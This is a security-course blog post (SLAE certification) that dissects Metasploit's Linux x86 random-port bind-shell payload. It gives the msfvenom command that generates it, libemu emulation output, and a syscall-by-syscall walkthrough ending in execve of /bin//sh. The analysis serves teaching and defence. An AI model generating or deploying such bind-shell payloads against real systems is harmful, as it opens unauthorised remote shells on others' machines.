This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1017
Challenge
- Take up at least 3 shellcode samples created using Msfpayload for linux/x86
- Use GDB/Ndisasm/Libemu to dissect the funcSonality of the shellcode
- Present your analysis
Generate payload using msfvenom
We have checked the payload parameters.
> msfvenom -p linux/x86/shell_bind_tcp_random_port --payload-options
Options for payload/linux/x86/shell_bind_tcp_random_port:
Name: Linux Command Shell, Bind TCP Random Port Inline
Module: payload/linux/x86/shell_bind_tcp_random_port
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 57
Rank: Normal
Provided by:
Geyslan G. Bem <[email protected]>
Description:
Listen for a connection in a random port and spawn a command shell.
Use nmap to discover the open port: 'nmap -sS target -p-'.
We generated the payload using msfvenom
. We analysed the shellcode using libemu
.
> msfvenom -p linux/x86/shell_bind_tcp_random_port | /opt/libemu/bin/sctest -vvv -Ss 10000 -G shell_bind_tcp_random_port.dot
graph file shell_bind_tcp_random_port.dot
verbose = 3
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 57 bytes
int socket (
int domain = 2;
int type = 1;
int protocol = 0;
) = 14;
int listen (
int s = 14;
int backlog = 0;
) = 0;
int accept (
int sockfd = 14;
sockaddr_in * addr = 0x00000000 =>
none;
int addrlen = 0x00000002 =>
none;
) = 19;
int dup2 (
int oldfd = 19;
int newfd = 14;
) = 14;
int dup2 (
int oldfd = 19;
int newfd = 13;
) = 13;
int dup2 (
int oldfd = 19;
int newfd = 12;
) = 12;
int dup2 (
int oldfd = 19;
int newfd = 11;
) = 11;
int dup2 (
int oldfd = 19;
int newfd = 10;
) = 10;
int dup2 (
int oldfd = 19;
int newfd = 9;
) = 9;
int dup2 (
int oldfd = 19;
int newfd = 8;
) = 8;
int dup2 (
int oldfd = 19;
int newfd = 7;
) = 7;
int dup2 (
int oldfd = 19;
int newfd = 6;
) = 6;
int dup2 (
int oldfd = 19;
int newfd = 5;
) = 5;
int dup2 (
int oldfd = 19;
int newfd = 4;
) = 4;
int dup2 (
int oldfd = 19;
int newfd = 3;
) = 3;
int dup2 (
int oldfd = 19;
int newfd = 2;
) = 2;
int dup2 (
int oldfd = 19;
int newfd = 1;
) = 1;
int dup2 (
int oldfd = 19;
int newfd = 0;
) = 0;
int execve (
const char * dateiname = 0x00416fb6 =>
= "/bin//sh";
const char * argv[] = [
= 0xffffffff =>
none;
];
const char * envp[] = 0x00000000 =>
none;
) = 0;
We used libemu
us to create a visual representation. There are 6 syscall in the program. We will discuss those syscall one by one.

Program flow
Syscall 1: socketcall:socket
By reviewing the visual, we understand it is socketcall:socket
syscall and to create a socket (TCPIP).
EAX
=0x66 (socketcall)
EBX
=0x1 (socket)
ECX
= pointer tosocketcall:socket
parameters- domain:
0x2 (AF_INET)
- type: 0x1
(SOCK_STREAM)
- protocol:
0x0 (IP)
- domain:
- syscall
int socketcall(int call, unsigned long *args);
int socket(int domain, int type, int protocol);
- strace
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3

Syscall 2: socketcall:listen
By reviewing the visual, we understand it is socketcall:listen
syscall and attempts to listen for connections on the socket.
EAX
=0x66 (socketcall)
EBX
=0x4 (listen)
ECX
= pointer tosocketcall:listen
parameters- sockfd:
3
(socket return in Syscall 1) - backlog:
0
- sockfd:
EDX
=0x1000 (4096)
- syscall:
int socketcall(int call, unsigned long *args);
int listen(int sockfd, int backlog);
- strace
listen(3, 0)

Syscall 3: socketcall:accept
By reviewing the visual, we understand it is socketcall:accept
syscall and to accept a connection on the socket.
EAX
=0x66 (socketcall)
EBX
=0x5 (accept)
ECX
= pointer tosocketcall:accept
parameterssockfd: 3
(socket return in Syscall 1)*addr: 0
*addrlen: 0x2
- syscall
int socketcall(int call, unsigned long *args);
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
- strace
accept(3, NULL, 0x2) = 4

Syscall 4: dup2
By reviewing the visual, we understand it is "dup2" syscall and to duplicate file descriptions.
EAX
=0x3f (dup2)
EBX
=oldfd (4 = accept fd in Syscall 3)
ECX
=newfd (3, 2, 1, 0 = fd3, stderr, stdout, stdin)
- syscall:
int dup2(int oldfd, int newfd);
- strace
dup2(4, 3) = 3
dup2(4, 2) = 2
dup2(4, 1) = 1
dup2(4, 0) = 0

Syscall 5: "execve"
By reviewing the visual, we understand it is execve
syscall and attempts to execute (`/bin//sh`).
EAX
=0xb (execve)
EBX
= pointer to program (/bin//sh
)- syscall:
int execve(const char *filename, char *const argv[], char *const envp[]);
- strace:
execve("/bin//sh", NULL, NULL) = 0

Summary
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
Open a socketlisten(3, 0)
Listen connection for a socketaccept(3, NULL, 0x2) = 4
Accept a connectiondup2(4, 3) = 3 dup2(4, 2) = 2 dup2(4, 1) = 1 dup2(4, 0) = 0
Dupicate file descripitorsexecve("/bin//sh", NULL, NULL) = 0
Execute/bin//sh